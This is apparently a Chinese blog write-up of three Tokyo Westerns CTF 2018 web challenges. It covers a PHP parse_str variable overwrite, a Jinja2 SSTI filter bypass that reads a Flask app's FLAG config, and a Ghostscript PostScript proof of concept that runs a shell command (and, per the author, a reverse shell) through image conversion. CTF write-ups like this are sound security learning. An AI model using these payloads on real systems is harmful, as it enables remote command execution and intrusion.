[关闭]
@shaobaobaoer 2018-09-08T04:51:35.000000Z 字数 5172 阅读 1585

Tokyo Westerns CTF 2018 WEB Wp

未分类


之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。
外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录

SimpleAuth

  1. <?php
  2. require_once 'flag.php';
  3. if (!empty($_SERVER['QUERY_STRING'])) {
  4. $query = $_SERVER['QUERY_STRING'];
  5. $res = parse_str($query);
  6. if (!empty($res['action'])){
  7. $action = $res['action'];
  8. }
  9. }
  10. if ($action === 'auth') {
  11. if (!empty($res['user'])) {
  12. $user = $res['user'];
  13. }
  14. if (!empty($res['pass'])) {
  15. $pass = $res['pass'];
  16. }
  17. if (!empty($user) && !empty($pass)) {
  18. $hashed_password = hash('md5', $user.$pass);
  19. }
  20. if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
  21. echo $flag;
  22. }
  23. else {
  24. echo 'fail :(';
  25. }
  26. }
  27. else {
  28. highlight_file(__FILE__);
  29. }

首先这是 强等号,所以必须满足的条件是

  1. $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'

但是很有意思的是,如果我没传递 user pass参数的话,就不会更新 $hashed_password

parse_str() 变量覆盖

这里的漏洞来自于 parse_str()
在PHP手册中有明确写出,如果没有第二个参数的话会引起变量覆盖

TIM截图20180908092806.png-45.2kB

可以写个东西来验证这个漏洞

  1. <?php
  2. if (!empty($_SERVER['QUERY_STRING'])) {
  3. $query = $_SERVER['QUERY_STRING'];
  4. $res = parse_str($query);
  5. }
  6. var_dump($GLOBALS);

如你所见,当我们传入password的时候,实际上password这个变量已经存在了。

  1. http://localhost/test.php?password=123&auth=123
  2. 'GLOBALS' =>
  3. &array< 'query' => string 'password=123&auth=123' (length=21)
  4. 'res' => null
  5. 'password' => string '123' (length=3)
  6. 'auth' => string '123' (length=3)

所以最后的答案就是

  1. http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth
  2. >> TWCTF{d0_n0t_use_parse_str_without_result_param}

shrine

感觉这道题出的超棒的
参考了 WP
https://ctftime.org/writeup/10895

进去直接给了源码

  1. import flask
  2. import os
  3. app = flask.Flask(__name__)
  4. app.config['FLAG'] = os.environ.pop('FLAG')
  5. @app.route('/')
  6. def index():
  7. return open(__file__).read()
  8. @app.route('/shrine/<path:shrine>')
  9. def shrine(shrine):
  10. def safe_jinja(s):
  11. s = s.replace('(', '').replace(')', '')
  12. blacklist = ['config', 'self']
  13. return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
  14. return flask.render_template_string(safe_jinja(shrine))
  15. if __name__ == '__main__':
  16. app.run(debug=True)

乍一看这不是python的闭包么?一开始和阿辉看了半天看不懂...感觉自己编程功底还是太差了。

其实这个函数的内容,简化下来是这样【伪代码】

  1. @app.route('/shrine/<path:shrine>')
  2. def shrine(shrine):
  3. s = {% set config=None%}{% set self=None%} + path..replace('(', ' (').replace(')', ')')
  4. return flask.render_template_string(s)

过滤了 ()并把 self 和 config 设置为了 none

不妨先尝试一下 最简单的 ssti注入;确实是可以成功的

  1. http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B'2'*5%7D%7D
  2. >> 22222

没有 WAF 的情况

config
传入 config

self
传入 {{self.__dict__}}

()
只要找一个有 os 的 subclasses ,可以参考我以前写的东西python 沙箱逃逸总结

  1. ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
  2. ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']
  3. ## 作者给的; <type 'dict_keys'> 里本身就有 OS
  4. [].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']

当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app

比如说这样

  1. __globals__['current_app'].config['FLAG']
  2. top.app.config['FLAG']

如何绕过waf ? url_for 调取 current_app

我看完wp之后感叹,居然还有这样的操作?

首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for

在它引用的内容中,有着 current_app 的全局变量
TIM截图20180908101529.png-16kB

如何绕过waf ? get_flashed_messages 调取 current_app

除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages

TIM截图20180908101847.png-21.8kB

GET FLAG !!!

找到了current_app,一切问题就迎刃而解了

  1. GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
  2. or
  3. GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
  4. 》》 TWCTF{pray_f0r_sacred_jinja2}

emoji

这道题目涉及 ghostscript 漏洞;对此我一点都不知道。日后会将这个洞系统得复现一下。这个洞在 8.21被报道出来,360CERT就将这个洞的细节发表了出来,可以参考 ghostscript命令执行漏洞预警
关于 ghostscript 也可以参考:
https://www.jianshu.com/p/0892b5d37ed0
https://www.anquanke.com/post/id/157513

ghostscript命令执行漏洞

准确来说,是这样子的:

PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,产生命令执行漏洞。

其实这个漏洞是非常危险的漏洞。导致所有引用ghostscript的上游应用收到影响。 常见应用如下:

imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf

当然也包括了 PIL

做题过程

访问 /source 得到源码

  1. from flask import (
  2. Flask,
  3. render_template,
  4. request,
  5. redirect,
  6. url_for,
  7. make_response,
  8. )
  9. from PIL import Image
  10. import tempfile
  11. import os
  12. app = Flask(__name__)
  13. @app.route('/')
  14. def index():
  15. return render_template('index.html')
  16. @app.route('/source')
  17. def source():
  18. return open(__file__).read()
  19. @app.route('/conv', methods=['POST'])
  20. def conv():
  21. f = request.files.get('image', None)
  22. if not f:
  23. return redirect(url_for('index'))
  24. ext = f.filename.split('.')[-1]
  25. fname = tempfile.mktemp("emoji")
  26. fname = "{}.{}".format(fname, ext)
  27. f.save(fname)
  28. img = Image.open(fname)
  29. w, h = img.size
  30. r = 128/max(w, h)
  31. newimg = img.resize((int(w*r), int(h*r)))
  32. newimg.save(fname)
  33. response = make_response()
  34. response.data = open(fname, "rb").read()
  35. response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
  36. os.unlink(fname)
  37. return response
  38. if __name__ == '__main__':
  39. app.run(host="0.0.0.0", port=8080, debug=True)

我尝试上传了一个图片,结果是 500 的错误。

后来按照WP也不能复现,推测是服务器挂了。对此,我只能在本地模拟一下这个漏洞的过程。

对于这个漏洞,有很多套路了。具体可以看看这边
ghostscript: multiple critical vulnerabilities, including remote command execution

本地复现

我在本地复现了这个漏洞,具体的POC如下

命名一个 shell.jpeg 文件,内容如下(实际上这是postscript)

  1. %!PS
  2. userdict /setpagedevice undef
  3. save
  4. legal
  5. { null restore } stopped { pop } if
  6. { legal } stopped { pop } if
  7. restore
  8. mark /OutputFile (%pipe%id) currentdevice putdeviceprops

随后,给予文件7xx的权限。之后,我们执行convert指令
TIM截图20180908122013.png-8.5kB

可以发现shell已经能够成功执行了。

我们可以给予更大的扩展攻击面。比如说反弹shell

我将 id 的部分改为 反弹shell一句话

TIM截图20180908122734.png-36.2kB

随后,在我的VPS上接收shell。

TIM截图20180908122641.png-22.8kB

如你所见,已经成功执行。

我这里用的是 imagemagick 实际上用PIL也是一样的。
如下所示

TIM截图20180908123443.png-52.9kB

当然,如果用PIL的话,是不能直接读上面的那个POC的。我也不知道为何,自己对于 postscript 也不是很了解。wp中是一个 eps 的文件。而上述POC中是一个 PS 格式的文件。

我将 WP 中的poc修改为了自己VPS的地址,它成功执行了。

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注